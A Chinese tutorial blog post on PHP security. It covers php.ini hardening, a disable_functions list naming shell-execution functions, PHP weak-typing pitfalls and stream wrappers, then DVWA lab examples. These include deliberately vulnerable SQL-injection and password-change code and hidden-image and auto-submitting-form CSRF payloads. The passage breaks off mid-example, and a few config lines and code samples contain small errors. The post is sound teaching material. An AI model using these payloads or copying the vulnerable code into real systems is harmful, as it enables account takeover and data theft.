Quantcast
Channel: 🔰雨苁ℒ🔰
Viewing all 323 articles
Browse latest View live

浅谈php安全规范 禁用危险函数 敏感配置

$
0
0

浅谈php安全规范  黑客学习资源汇总

浅谈php安全规范

前言

php因天生支持web应用的开发,以其简单易学,开发效率高而备受喜爱。使其占据了大片的市场。但是php本身的安全问题却一直不曾消停,以及不规范的php代码编写规范,使得web应用漏洞百出。这篇文章从配置文件和代码编写角度出发,总结记录php相关安全。新手上路,向前辈致敬。

 

请充分了解你的php

基本信息

注意到以下的文件结构在新版本php或者不同的发行版中略有不同,就好比在ubuntu18.04中安装php7就和下面的文件结构有较大的差别,所以下面的文件仅仅作为一个apache的架构参考。

Root:/var/www/html

默认Web服务:Apache(可以使用Lighttpd或Nginx代替)

默认PHP配置文件:/etc/php.ini

默认PHP Extensions

配置目录:/etc/php.d/

PHP安全配置样例文件:/etc/php.d/security.ini(需要使用文本编辑器创建这个文件)

php 版本: php -v

查看当前PHP所编译 : php -m

敏感配置

以下是一些常见的配置举例,更多请查看:http://php.net/manual/zh/ini.core.php#ini.variables-order

不在请求头中泄露php信息:

<span class="hljs-attr">expose_php</span>=<span class="hljs-literal">Off</span>

不回显php错误(包括运行错误时和启动时错误),但是进行错误记录:

<span class="hljs-attr">play_errors</span>=<span class="hljs-literal">Off</span>  
<span class="hljs-attr">display_startup_errors</span>=<span class="hljs-literal">off</span>
<span class="hljs-attr">log_errors</span>=<span class="hljs-literal">On</span>
<span class="hljs-attr">error_log</span>=/var/log/httpd/php_scripts_error.log

文件上传开启与否和最大上传文件限制:

<span class="hljs-attr">file_uploads</span>=<span class="hljs-literal">On</span>
<span class="hljs-attr">upload_max_filesize</span>=<span class="hljs-number">1</span>M

控制最大post数据:

<span class="hljs-attr">post_max_size</span>=<span class="hljs-number">1</span>M

注意:到要比upload_max_filesize大,否则后者失效。

关闭远程代码执行:

<span class="hljs-attr">allow_url_fopen</span>=<span class="hljs-literal">Off</span>
<span class="hljs-attr">allow_url_include</span>=<span class="hljs-literal">Off</span>

关闭全局注册变量,不过默认5.x版本的php是off:

<span class="hljs-attr">register_globals</span>=<span class="hljs-literal">off</span>

关于安全模式和粗暴的魔术引号过滤,注意到save_mode模式在php5.3以上版本,safe_mode被弃用,在php5.4以上版本,则将此特性完全去除了:

safe_mode=On
safe_mode_include_dir = D:/phpstudy/www/include/
magic_quotes_gpc=Off   #如果开启了这个,然后在php应用中使用addslashes()过滤输入会造成双重转义,使得过滤无济于事,遇到这种情况时可以使用函数   get_magic_quotes_gpc() 进行检测。
magic_quotes_runtime

资源管理防止过分消耗服务器资源:

<span class="hljs-attr">max_execution_time</span> = <span class="hljs-number">30</span>
<span class="hljs-attr">max_input_time</span> = <span class="hljs-number">30</span>
<span class="hljs-attr">memory_limit</span> = <span class="hljs-number">40</span>M

禁用危险函数:

disable_functions = 
phpinfo,<span class="hljs-keyword">eval</span>,passthru,assert,<span class="hljs-keyword">exec</span>,<span class="hljs-keyword">system</span>,ini_set,ini_get,get_included_files,
get_defined_functions,get_defined_constants,get_defined_vars,
<span class="hljs-keyword">glob</span>,<span class="hljs-string">``</span>,<span class="hljs-keyword">chroot</span>,scandir,chgrp,<span class="hljs-keyword">chown</span>,shell_exec,proc_open,proc_get_status,
ini_alter,ini_restore,dl,pfsockopen,openlog,syslog,<span class="hljs-keyword">readlink</span>,
<span class="hljs-keyword">symlink</span>,popepassthru,stream_socket_server,fsocket,fsockopen

限制php访问文件系统:

<span class="hljs-attr">open_basedir</span>=<span class="hljs-string">'/var/www/html/'</span>;......;......

session保存路径:

session.save_path=<span class="hljs-string">"/var/lib/php/session"</span>

上传文件默认路径:

<span class="hljs-attr">upload_tmp_dir</span>=<span class="hljs-string">"/var/lib/php/upload"</span>

关于危险函数

特殊符号:

“:反引号运算符在激活了安全模式或者关闭了 shell_exec() 时是无效的,同时与其它某些语言不同,反引号不能在双引号字符串中使用。否则将会当作shell命令执行,执行效果等同于shell_exec()。

文件操作:http://php.net/manual/zh/ref.filesystem.php

全局信息,配置等:http://php.net/manual/zh/ref.info.php

程序执行:http://php.net/manual/zh/book.exec.php

不要过分相信php

弱类型

前人之述备矣,仅仅做个汇总。同样还可以参看官网给出的类型表(PHP 类型比较表)。

<span class="hljs-number">0</span>==<span class="hljs-string">'0'</span>        <span class="hljs-comment">//true</span>
<span class="hljs-number">0</span> == <span class="hljs-string">'abcdefg'</span>    <span class="hljs-comment">//true</span>
<span class="hljs-number">1</span> == <span class="hljs-string">'1abcdef'</span>    <span class="hljs-comment">//true</span>
<span class="hljs-keyword">null</span>==<span class="hljs-keyword">false</span>     <span class="hljs-comment">//true</span>
<span class="hljs-number">123</span>==<span class="hljs-string">'123'</span>      <span class="hljs-comment">//true </span>

<span class="hljs-comment">//哈希比较</span>
<span class="hljs-string">"0e132456789"</span>==<span class="hljs-string">"0e7124511451155"</span> <span class="hljs-comment">//true</span>
<span class="hljs-string">"0e123456abc"</span>==<span class="hljs-string">"0e1dddada"</span>    <span class="hljs-comment">//false</span>
<span class="hljs-string">"0e1abc"</span>==<span class="hljs-string">"0"</span>     <span class="hljs-comment">//true</span>

<span class="hljs-string">"0x1e240"</span>==<span class="hljs-string">"123456"</span>        <span class="hljs-comment">//true</span>
<span class="hljs-string">"0x1e240"</span>==<span class="hljs-number">123456</span>        <span class="hljs-comment">//true</span>

var_dump(intval(<span class="hljs-string">'2'</span>))    <span class="hljs-comment">//2</span>
var_dump(intval(<span class="hljs-string">'3abcd'</span>))    <span class="hljs-comment">//3</span>
var_dump(intval(<span class="hljs-string">'abcd'</span>))    <span class="hljs-comment">//0</span>

<span class="hljs-comment">//任意两个array,MD5相等</span>
var_dump(md5($array1)==var_dump($array2));    <span class="hljs-comment">//true</span>

<span class="hljs-comment">//case 自转换,以下代码输出i is less than 3 but not negative</span>
$i =<span class="hljs-string">"2abc"</span>;
<span class="hljs-keyword">switch</span> ($i) {
<span class="hljs-keyword">case</span> <span class="hljs-number">0</span>:
<span class="hljs-keyword">case</span> <span class="hljs-number">1</span>:
<span class="hljs-keyword">case</span> <span class="hljs-number">2</span>:
    <span class="hljs-keyword">echo</span> <span class="hljs-string">"i is less than 3 but not negative"</span>;
    <span class="hljs-keyword">break</span>;
<span class="hljs-keyword">case</span> <span class="hljs-number">3</span>:
    <span class="hljs-keyword">echo</span> <span class="hljs-string">"i is 3"</span>;
}

<span class="hljs-comment">//in_array的缺陷,array_search</span>
$array=[<span class="hljs-number">0</span>,<span class="hljs-number">1</span>,<span class="hljs-number">2</span>,<span class="hljs-string">'3'</span>];
var_dump(in_array(<span class="hljs-string">'abc'</span>, $array));  <span class="hljs-comment">//true</span>
var_dump(in_array(<span class="hljs-string">'1bc'</span>, $array));    <span class="hljs-comment">//true</span>

<span class="hljs-comment">//strcmp在php5.x个版本后有些特性不太同,所以遇到的时候具体讨论</span>

全局注册变量

如果已经弃用的 register_globals 指令被设置为 on 那么局部变量也将在脚本的全局作用域中可用。例如, $_POST[‘foo’] 也将以 $foo 的形式存在。这将会造成一些变量覆盖,条件判断绕过。以下是简化的全局变量认证绕过模型:

<span class="hljs-keyword">if</span>(authenticated_user()){
    <span class="hljs-variable">$authorized</span>=<span class="hljs-literal">true</span>;
}
<span class="hljs-keyword">if</span>(<span class="hljs-variable">$authorized</span>){
    <span class="hljs-keyword">do</span> something......
}

对于以上的绕过,我们可以有以下的规避措施:(1) php.ini register_globals=off(2) 在每次判断前初始化变量,如下:

<span class="hljs-variable">$authorized</span>=<span class="hljs-literal">false</span>;

<span class="hljs-keyword">if</span>(authenticated_user()){
    <span class="hljs-variable">$authorized</span>=<span class="hljs-literal">true</span>;
}
<span class="hljs-keyword">if</span>(<span class="hljs-variable">$authorized</span>){
    <span class="hljs-keyword">do</span> something......
}

php伪协议

伪协议在很多绕过场景下发挥着举足轻重的作用,如后面提到的文件包含file://协议绕过,以及最近才提出的phar协议反序列化对象注入,我们可以在不存在可控unserialization()函数的情况下利用phar反序列化对象,实现对象注入。所以在web应用中不要忽视他们的存在,千里之堤,溃于蚁穴。

<span class="hljs-symbol">file:</span><span class="hljs-comment">///var/www/html  访问本地文件系统</span>
<span class="hljs-symbol">ftp:</span><span class="hljs-comment">//&lt;login&gt;:&lt;password&gt;@&lt;ftpserveraddress&gt;   访问FTP(s) URLs</span>
<span class="hljs-symbol">data:</span><span class="hljs-comment">//  数据流</span>
<span class="hljs-symbol">http:</span><span class="hljs-comment">// — 访问 HTTP(s) URLs</span>
<span class="hljs-symbol">ftp:</span><span class="hljs-comment">// — 访问 FTP(s) URLs</span>
<span class="hljs-symbol">php:</span><span class="hljs-comment">// — 访问各个输入/输出流</span>
<span class="hljs-symbol">zlib:</span><span class="hljs-comment">// — 压缩流</span>
<span class="hljs-symbol">data:</span><span class="hljs-comment">// — Data (RFC 2397)</span>
<span class="hljs-symbol">glob:</span><span class="hljs-comment">// — 查找匹配的文件路径模式</span>
<span class="hljs-symbol">phar:</span><span class="hljs-comment">// — PHP Archive</span>
<span class="hljs-symbol">ssh2:</span><span class="hljs-comment">// — Secure Shell 2</span>
<span class="hljs-symbol">rar:</span><span class="hljs-comment">// — RAR</span>
<span class="hljs-symbol">ogg:</span><span class="hljs-comment">// — Audio streams</span>
<span class="hljs-symbol">expect:</span><span class="hljs-comment">// — 处理交互式的流</span>

向DVWA学习php安全的代码编写

以下样例来自于DVWA v1.9版本

sql注入

Low level

<span class="php"><span class="hljs-meta">&lt;?php</span> 

<span class="hljs-keyword">if</span>( <span class="hljs-keyword">isset</span>( $_REQUEST[ <span class="hljs-string">'Submit'</span> ] ) ) { 
    <span class="hljs-comment">// Get input </span>
    $id = $_REQUEST[ <span class="hljs-string">'id'</span> ]; 

    <span class="hljs-comment">// Check database </span>
    $query  = <span class="hljs-string">"SELECT first_name, last_name FROM users WHERE user_id = '$id';"</span>; 
    $result = mysql_query( $query ) <span class="hljs-keyword">or</span> <span class="hljs-keyword">die</span>( <span class="hljs-string">'&lt;pre&gt;'</span> . mysql_error() . <span class="hljs-string">'&lt;/pre&gt;'</span> ); 

    <span class="hljs-comment">// Get results </span>
    $num = mysql_numrows( $result ); 
    $i   = <span class="hljs-number">0</span>; 
    <span class="hljs-keyword">while</span>( $i &lt; $num ) { 
        <span class="hljs-comment">// Get values </span>
        $first = mysql_result( $result, $i, <span class="hljs-string">"first_name"</span> ); 
        $last  = mysql_result( $result, $i, <span class="hljs-string">"last_name"</span> ); 

        <span class="hljs-comment">// Feedback for end user </span>
        <span class="hljs-keyword">echo</span> <span class="hljs-string">"&lt;pre&gt;ID: {$id}&lt;br /&gt;First name: {$first}&lt;br /&gt;Surname: {$last}&lt;/pre&gt;"</span>; 

        <span class="hljs-comment">// Increase loop count </span>
        $i++; 
    } 

    mysql_close(); 
} 

<span class="hljs-meta">?&gt;</span></span>

在这个例子中,是最low安全等级的php代码编写样例,可以看到,代码中并没有对用户输入的id变量进行检查和过滤,同时使用的是$_REQUEST全局数组的方式,如果不是特别需要,我们编程的时候尽量不要使用$_REQUEST获取用户的参数,因为$_REQUEST的参数比较杂,包括$_GET,$_POST,$_COOKIE等超全局变量,并且二者还存在变量获取顺序的不一致,受配置文件中variables_order的约定,在存在waf的环境下,容易造成绕过。未经处理的用户输入直接与sql语句拼接交互,造成sql注入漏洞,十分危险。

Medium level

<span class="php"><span class="hljs-meta">&lt;?php</span>

<span class="hljs-keyword">if</span>( <span class="hljs-keyword">isset</span>( $_POST[ <span class="hljs-string">'Submit'</span> ] ) ) { <span class="hljs-comment">// Get input $id = $_POST[ 'id' ]; $id = mysql_real_escape_string( $id );</span>

<span class="hljs-comment">// Check database </span>
$query  = <span class="hljs-string">"SELECT first_name, last_name FROM users WHERE user_id = $id;"</span>; 
$result = mysql_query( $query ) <span class="hljs-keyword">or</span> <span class="hljs-keyword">die</span>( <span class="hljs-string">'&lt;pre&gt;'</span> . mysql_error() . <span class="hljs-string">'&lt;/pre&gt;'</span> ); 

<span class="hljs-comment">// Get results </span>
$num = mysql_numrows( $result ); 
$i   = <span class="hljs-number">0</span>; 
<span class="hljs-keyword">while</span>( $i &lt; $num ) { 
    <span class="hljs-comment">// Display values </span>
    $first = mysql_result( $result, $i, <span class="hljs-string">"first_name"</span> ); 
    $last  = mysql_result( $result, $i, <span class="hljs-string">"last_name"</span> ); 

    <span class="hljs-comment">// Feedback for end user </span>
    <span class="hljs-keyword">echo</span> <span class="hljs-string">"&lt;pre&gt;ID: {$id}&lt;br /&gt;First name: {$first}&lt;br /&gt;Surname: {$last}&lt;/pre&gt;"</span>; 

    <span class="hljs-comment">// Increase loop count </span>
    $i++; 
} 

<span class="hljs-comment">//mysql_close();</span>

}

<span class="hljs-meta">?&gt;</span></span>

这个版本的代码,与之前的相比只是多了个mysql_real_escape_string函数的过滤,但是要知道这里的$id在sql语句中是数字类型,这样mysql_real_escape_string的转义就会形同虚设,注入仍旧是一马平川。当然不恰当的字符编码,可能会造成宽字节注入。

High leval

<span class="php"><span class="hljs-meta">&lt;?php</span> 

<span class="hljs-keyword">if</span>( <span class="hljs-keyword">isset</span>( $_SESSION [ <span class="hljs-string">'id'</span> ] ) ) { 
    <span class="hljs-comment">// Get input </span>
    $id = $_SESSION[ <span class="hljs-string">'id'</span> ]; 

    <span class="hljs-comment">// Check database </span>
    $query  = <span class="hljs-string">"SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;"</span>; 
    $result = mysql_query( $query ) <span class="hljs-keyword">or</span> <span class="hljs-keyword">die</span>( <span class="hljs-string">'&lt;pre&gt;Something went wrong.&lt;/pre&gt;'</span> ); 

    <span class="hljs-comment">// Get results </span>
    $num = mysql_numrows( $result ); 
    $i   = <span class="hljs-number">0</span>; 
    <span class="hljs-keyword">while</span>( $i &lt; $num ) { 
        <span class="hljs-comment">// Get values </span>
        $first = mysql_result( $result, $i, <span class="hljs-string">"first_name"</span> ); 
        $last  = mysql_result( $result, $i, <span class="hljs-string">"last_name"</span> ); 

        <span class="hljs-comment">// Feedback for end user </span>
        <span class="hljs-keyword">echo</span> <span class="hljs-string">"&lt;pre&gt;ID: {$id}&lt;br /&gt;First name: {$first}&lt;br /&gt;Surname: {$last}&lt;/pre&gt;"</span>; 

        <span class="hljs-comment">// Increase loop count </span>
        $i++; 
    } 

    mysql_close(); 
} 

<span class="hljs-meta">?&gt;</span></span>

在高级版本中只是把注入点隐匿在了$_SESSION全局变量里面,而session中的id值的注册是通过用户输入$_POST全局变量传入,所以是完全可控的,这样一来,就和之前的注入没有什么不一样。这段代码是要提醒我们对于session,只要注册值是用户可控的,也是可能存在sql注入的风险的。另外需要注意到的是,在这个High级别的注入中,回显和传参页面不是同一个,是一个二阶注入,如果使用工具注入,如sqlmap,别忘了加上自定义回显–second-order参数。

Impossible level

<span class="php"><span class="hljs-meta">&lt;?php</span> 

<span class="hljs-keyword">if</span>( <span class="hljs-keyword">isset</span>( $_GET[ <span class="hljs-string">'Submit'</span> ] ) ) { 
    <span class="hljs-comment">// Check Anti-CSRF token </span>
    checkToken( $_REQUEST[ <span class="hljs-string">'user_token'</span> ], $_SESSION[ <span class="hljs-string">'session_token'</span> ], <span class="hljs-string">'index.php'</span> ); 

    <span class="hljs-comment">// Get input </span>
    $id = $_GET[ <span class="hljs-string">'id'</span> ]; 

    <span class="hljs-comment">// Was a number entered? </span>
    <span class="hljs-keyword">if</span>(is_numeric( $id )) { 
        <span class="hljs-comment">// Check the database </span>
        $data = $db-&gt;prepare( <span class="hljs-string">'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;'</span> ); 
        $data-&gt;bindParam( <span class="hljs-string">':id'</span>, $id, PDO::PARAM_INT ); 
        $data-&gt;execute(); 
        $row = $data-&gt;fetch(); 

        <span class="hljs-comment">// Make sure only 1 result is returned </span>
        <span class="hljs-keyword">if</span>( $data-&gt;rowCount() == <span class="hljs-number">1</span> ) { 
            <span class="hljs-comment">// Get values </span>
            $first = $row[ <span class="hljs-string">'first_name'</span> ]; 
            $last  = $row[ <span class="hljs-string">'last_name'</span> ]; 

            <span class="hljs-comment">// Feedback for end user </span>
            <span class="hljs-keyword">echo</span> <span class="hljs-string">"&lt;pre&gt;ID: {$id}&lt;br /&gt;First name: {$first}&lt;br /&gt;Surname: {$last}&lt;/pre&gt;"</span>; 
        } 
    } 
} 

<span class="hljs-comment">// Generate Anti-CSRF token </span>
generateSessionToken(); 

<span class="hljs-meta">?&gt;</span></span>

根据DVWA的说法,这样写出来的应用,是不存在sql注入的。也即这是个十分安全的php代码编写规范。why?首先,我们可以看到它使用Anti-CSRF token的方法来避免csrf攻击(具体细节会在下文csrf防御谈到),然后在sql语句的编写中,使用的是预处理语句,所谓的预处理就是通过php的pdo预处理机制PDO::prepare,先往数据库送出语句模板,进行解析,编译,然后第二次向数据库传入查询参数,在第二次的查询过程中可以理解为不再进行语义解析,所以即使传入sql语句,也会因为不进行语义解析而失效。所以这是一种比较推荐的数据库交互sql语句编写规范。现在很多主流的数据库已经支持预处理,即使不支持,PHP的PDO也会进行预处理模拟实现,这样对于程序员接口一致,不需了解不同数据库对预处理支持的方式差异。

更多PDO细节可以参考官网:http://php.net/manual/zh/pdo.prepared-statements.php。

参数bind的细节可以参考:http://php.net/manual/zh/pdo.constants.php。

CSRF

完整的攻击过程,可以看这篇前辈的文章:http://www.freebuf.com/articles/web/118352.html

Low level

<span class="php"><span class="hljs-meta">&lt;?php</span> 

<span class="hljs-keyword">if</span>( <span class="hljs-keyword">isset</span>( $_GET[ <span class="hljs-string">'Change'</span> ] ) ) { 
    <span class="hljs-comment">// Get input </span>
    $pass_new  = $_GET[ <span class="hljs-string">'password_new'</span> ]; 
    $pass_conf = $_GET[ <span class="hljs-string">'password_conf'</span> ]; 

    <span class="hljs-comment">// Do the passwords match? </span>
    <span class="hljs-keyword">if</span>( $pass_new == $pass_conf ) { 
        <span class="hljs-comment">// They do! </span>
        $pass_new = mysql_real_escape_string( $pass_new ); 
        $pass_new = md5( $pass_new ); 

        <span class="hljs-comment">// Update the database </span>
        $insert = <span class="hljs-string">"UPDATE `users` SET password = '$pass_new' WHERE user = '"</span> . dvwaCurrentUser() . <span class="hljs-string">"';"</span>; 
        $result = mysql_query( $insert ) <span class="hljs-keyword">or</span> <span class="hljs-keyword">die</span>( <span class="hljs-string">'&lt;pre&gt;'</span> . mysql_error() . <span class="hljs-string">'&lt;/pre&gt;'</span> ); 

        <span class="hljs-comment">// Feedback for the user </span>
        <span class="hljs-keyword">echo</span> <span class="hljs-string">"&lt;pre&gt;Password Changed.&lt;/pre&gt;"</span>; 
    } 
    <span class="hljs-keyword">else</span> { 
        <span class="hljs-comment">// Issue with passwords matching </span>
        <span class="hljs-keyword">echo</span> <span class="hljs-string">"&lt;pre&gt;Passwords did not match.&lt;/pre&gt;"</span>; 
    } 

    mysql_close(); 
} 

<span class="hljs-meta">?&gt;</span></span>

所谓的CSRF(Cross-site request forgery)直白的翻译就是跨站点请求伪造。说人话就是攻击者通过诱使victim访问其精心构造的url或者访问其精心构造的页面,来使得攻击者可以以victim的身份做诸如发邮件,发消息,改密码等骚操作。在DVWA这个系列里面,模拟的是修改密码的界面。先来看下low等级的代码,可以说是没有进行仍和的再认证,试下为啥是“再认证”?其实我们在访问到这个修改密码界面的时候,已经登陆过一次,服务器会在每次访问时检查session。所以这是第一道认证。但是这种会话级别的认证对csrf是没有抵抗力的。具体的过程可以参看之前提到的链接。我们可以直接构造url:http://localhost/dvwa/vulnerabilities/csrf/?password_new=password&password_conf=password&Change=Change#

让victim访问,或者使用更加隐匿的:

<span class="hljs-tag">&lt;<span class="hljs-name">style</span>&gt;</span><span class="css">
   <span class="hljs-selector-tag">form</span>{
    <span class="hljs-attribute">display</span>:none;
   }
</span><span class="hljs-tag">&lt;/<span class="hljs-name">style</span>&gt;</span>

构造无迹表单,结合js发送请求,或者:

<span class="hljs-tag">&lt;<span class="hljs-name">img</span> <span class="hljs-attr">src</span>=<span class="hljs-string">"</span></span><a class="" href="http://192.168.153.130/dvwa/vulnerabilities/csrf/?password_new=hack&amp;password_conf=hack&amp;Change=Change#"><span class="hljs-tag"><span class="hljs-string">http://192.168.153.130/dvwa/vulnerabilities/csrf/?password_new=hack&amp;password_conf=hack&amp;Change=Change#</span></span></a><span class="hljs-tag"><span class="hljs-string">"</span> <span class="hljs-attr">border</span>=<span class="hljs-string">"0"</span>    <span class="hljs-attr">style</span>=<span class="hljs-string">"display:none;"</span>/&gt;</span>

来实现欺骗隐匿行踪,达到修改密码的目的。顺便盗用两个别人的poc方便展示:

(1) 图片形式诱导

<span class="hljs-tag">&lt;<span class="hljs-name">img</span> <span class="hljs-attr">src</span>=<span class="hljs-string">"http://192.168.153.130/dvwa/vulnerabilities/csrf/?password_new=hack&amp;password_conf=hack&amp;Change=Change#"</span> <span class="hljs-attr">border</span>=<span class="hljs-string">"0"</span> <span class="hljs-attr">style</span>=<span class="hljs-string">"display:none;"</span>/&gt;</span>

<span class="hljs-tag">&lt;<span class="hljs-name">h1</span>&gt;</span>404<span class="hljs-tag">&lt;<span class="hljs-name">h1</span>&gt;</span>

<span class="hljs-tag">&lt;<span class="hljs-name">h2</span>&gt;</span>file not found.<span class="hljs-tag">&lt;<span class="hljs-name">h2</span>&gt;</span>

(2) 隐藏表单的形式

<span class="hljs-tag">&lt;<span class="hljs-name">body</span> <span class="hljs-attr">onload</span>=<span class="hljs-string">"javascript:csrf()"</span>&gt;</span>
   <span class="hljs-tag">&lt;<span class="hljs-name">script</span>&gt;</span><span class="javascript">
   <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">csrf</span>()</span>{
    <span class="hljs-built_in">document</span>.getElementById(<span class="hljs-string">"button"</span>).click();
   }
   </span><span class="hljs-tag">&lt;/<span class="hljs-name">script</span>&gt;</span>
   <span class="hljs-tag">&lt;<span class="hljs-name">style</span>&gt;</span><span class="css">
   <span class="hljs-selector-tag">form</span>{
    <span class="hljs-attribute">display</span>:none;
   }
   </span><span class="hljs-tag">&lt;/<span class="hljs-name">style</span>&gt;</span>
        <span class="hljs-tag">&lt;<span class="hljs-name">form</span> <span class="hljs-attr">action</span>=<span class="hljs-string">"http://www.dvwa.com/vulnerabilities/csrf/?"</span> <span class="hljs-attr">method</span>=<span class="hljs-string">"GET"</span>&gt;</span>
            New password:<span class="hljs-tag">&lt;<span class="hljs-name">br</span> /&gt;</span>
            <span class="hljs-tag">&lt;<span class="hljs-name">input</span> <span class="hljs-attr">type</span>=<span class="hljs-string">"password"</span> <span class="hljs-attr">AUTOCOMPLETE</span>=<span class="hljs-string">"off"</span> <span class="hljs-attr">name</span>=<span class="hljs-string">"password_new"</span> <span class="hljs-attr">value</span>=<span class="hljs-string">"test"</span>&gt;</span><span class="hljs-tag">&lt;<span class="hljs-name">br</span> /&gt;</span>
            Confirm new password:<span class="hljs-tag">&lt;<span class="hljs-name">br</span> /&gt;</span>
            <span class="hljs-tag">&lt;<span class="hljs-name">input</span> <span class="hljs-attr">type</span>=<span class="hljs-string">"password"</span> <span class="hljs-attr">AUTOCOMPLETE</span>=<span class="hljs-string">"off"</span> <span class="hljs-attr">name</span>=<span class="hljs-string">"password_conf"</span> <span class="hljs-attr">value</span>=<span class="hljs-string">"test"</span>&gt;</span><span class="hljs-tag">&lt;<span class="hljs-name">br</span> /&gt;</span>
            <span class="hljs-tag">&lt;<span class="hljs-name">br</span> /&gt;</span>
            <span class="hljs-tag">&lt;<span class="hljs-name">input</span> <span class="hljs-attr">type</span>=<span class="hljs-string">"submit"</span> <span class="hljs-attr">id</span>=<span class="hljs-string">"button"</span> <span class="hljs-attr">name</span>=<span class="hljs-string">"Change"</span> <span class="hljs-attr">value</span>=<span class="hljs-string">"Change"</span> /&gt;</span>
        <span class="hljs-tag">&lt;/<span class="hljs-name">form</span>&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">body</span>&gt;</span>

Medium level

<span class="php"><span class="hljs-meta">&lt;?php</span> 

<span class="hljs-keyword">if</span>( <span class="hljs-keyword">isset</span>( $_GET[ <span class="hljs-string">'Change'</span> ] ) ) { 
    <span class="hljs-comment">// Checks to see where the request came from </span>
    <span class="hljs-keyword">if</span>( eregi( $_SERVER[ <span class="hljs-string">'SERVER_NAME'</span> ], $_SERVER[ <span class="hljs-string">'HTTP_REFERER'</span> ] ) ) { 
        <span class="hljs-comment">// Get input </span>
        $pass_new  = $_GET[ <span class="hljs-string">'password_new'</span> ]; 
        $pass_conf = $_GET[ <span class="hljs-string">'password_conf'</span> ]; 

        <span class="hljs-comment">// Do the passwords match? </span>
        <span class="hljs-keyword">if</span>( $pass_new == $pass_conf ) { 
            <span class="hljs-comment">// They do! </span>
            $pass_new = mysql_real_escape_string( $pass_new ); 
            $pass_new = md5( $pass_new ); 

            <span class="hljs-comment">// Update the database </span>
            $insert = <span class="hljs-string">"UPDATE `users` SET password = '$pass_new' WHERE user = '"</span> . dvwaCurrentUser() . <span class="hljs-string">"';"</span>; 
            $result = mysql_query( $insert ) <span class="hljs-keyword">or</span> <span class="hljs-keyword">die</span>( <span class="hljs-string">'&lt;pre&gt;'</span> . mysql_error() . <span class="hljs-string">'&lt;/pre&gt;'</span> ); 

            <span class="hljs-comment">// Feedback for the user </span>
            <span class="hljs-keyword">echo</span> <span class="hljs-string">"&lt;pre&gt;Password Changed.&lt;/pre&gt;"</span>; 
        } 
        <span class="hljs-keyword">else</span> { 
            <span class="hljs-comment">// Issue with passwords matching </span>
            <span class="hljs-keyword">echo</span> <span class="hljs-string">"&lt;pre&gt;Passwords did not match.&lt;/pre&gt;"</span>; 
        } 
    } 
    <span class="hljs-keyword">else</span> { 
        <span class="hljs-comment">// Didn't come from a trusted source </span>
        <span class="hljs-keyword">echo</span> <span class="hljs-string">"&lt;pre&gt;That request didn't look correct.&lt;/pre&gt;"</span>; 
    } 

    mysql_close(); 
} 

<span class="hljs-meta">?&gt;</span></span>

在这个级别的CSRF漏洞中,服务端多了一句eregi( $_SERVER[ ‘SERVER_NAME’ ], $_SERVER[ ‘HTTP_REFERER’ ]校验,ereg()函数是模式匹配,通过超全局数组获取了请求头referer值(也就是访问者向host发起请求时所在的页面)和host值,并且检查host的值是否在referer中出现。根据权威 (https://developer.mozilla.org/en-US/docs/Glossary/Forbidden_header_name),这两个值无法以编程的方式修改,抓包除外,因为在csrf中无法通过抓取客户端的包进行修改,所以按理来说是安全的。实则不然,通过公网服务器,诱使victim访问名字包含host的html文件就可以实现绕过。

High level

<span class="php"><span class="hljs-meta">&lt;?php</span> 

<span class="hljs-keyword">if</span>( <span class="hljs-keyword">isset</span>( $_GET[ <span class="hljs-string">'Change'</span> ] ) ) { 
    <span class="hljs-comment">// Check Anti-CSRF token </span>
    checkToken( $_REQUEST[ <span class="hljs-string">'user_token'</span> ], $_SESSION[ <span class="hljs-string">'session_token'</span> ], <span class="hljs-string">'index.php'</span> ); 

    <span class="hljs-comment">// Get input </span>
    $pass_new  = $_GET[ <span class="hljs-string">'password_new'</span> ]; 
    $pass_conf = $_GET[ <span class="hljs-string">'password_conf'</span> ]; 

    <span class="hljs-comment">// Do the passwords match? </span>
    <span class="hljs-keyword">if</span>( $pass_new == $pass_conf ) { 
        <span class="hljs-comment">// They do! </span>
        $pass_new = mysql_real_escape_string( $pass_new ); 
        $pass_new = md5( $pass_new ); 

        <span class="hljs-comment">// Update the database </span>
        $insert = <span class="hljs-string">"UPDATE `users` SET password = '$pass_new' WHERE user = '"</span> . dvwaCurrentUser() . <span class="hljs-string">"';"</span>; 
        $result = mysql_query( $insert ) <span class="hljs-keyword">or</span> <span class="hljs-keyword">die</span>( <span class="hljs-string">'&lt;pre&gt;'</span> . mysql_error() . <span class="hljs-string">'&lt;/pre&gt;'</span> ); 

        <span class="hljs-comment">// Feedback for the user </span>
        <span class="hljs-keyword">echo</span> <span class="hljs-string">"&lt;pre&gt;Password Changed.&lt;/pre&gt;"</span>; 
    } 
    <span class="hljs-keyword">else</span> { 
        <span class="hljs-comment">// Issue with passwords matching </span>
        <span class="hljs-keyword">echo</span> <span class="hljs-string">"&lt;pre&gt;Passwords did not match.&lt;/pre&gt;"</span>; 
    } 

    mysql_close(); 
} 

<span class="hljs-comment">// Generate Anti-CSRF token </span>
generateSessionToken(); 

<span class="hljs-meta">?&gt;</span></span>

在高级别中的代码,主要是使用了Anti-csrf机制,用户每次访问改密页面时,服务器会返回一个随机的token,向服务器发起请求时,需要提交token参数,而服务器在收到请求时,会优先检查token,只有token正确,才会处理客户端的请求。我们可以按F12来看看这个token:

看看这个token

可以看到不同的用户会返回一个不同的token,这个token在hidden栏里面,这样一来,迫于同源策略,攻击者无法获取victim的token,也就无法实现CSRF攻击。但是真的无法实现吗?配合xss我们还是可以盗取token的,但是这难度无疑增大,我们必须要有服务器的一个xss漏洞来盗取token,然后再使用CSRF。攻击成本也增大。

Impossible level

<span class="php"><span class="hljs-meta">&lt;?php</span> 

<span class="hljs-keyword">if</span>( <span class="hljs-keyword">isset</span>( $_GET[ <span class="hljs-string">'Change'</span> ] ) ) { 
    <span class="hljs-comment">// Check Anti-CSRF token </span>
    checkToken( $_REQUEST[ <span class="hljs-string">'user_token'</span> ], $_SESSION[ <span class="hljs-string">'session_token'</span> ], <span class="hljs-string">'index.php'</span> ); 

    <span class="hljs-comment">// Get input </span>
    $pass_curr = $_GET[ <span class="hljs-string">'password_current'</span> ]; 
    $pass_new  = $_GET[ <span class="hljs-string">'password_new'</span> ]; 
    $pass_conf = $_GET[ <span class="hljs-string">'password_conf'</span> ]; 

    <span class="hljs-comment">// Sanitise current password input </span>
    $pass_curr = stripslashes( $pass_curr ); 
    $pass_curr = mysql_real_escape_string( $pass_curr ); 
    $pass_curr = md5( $pass_curr ); 

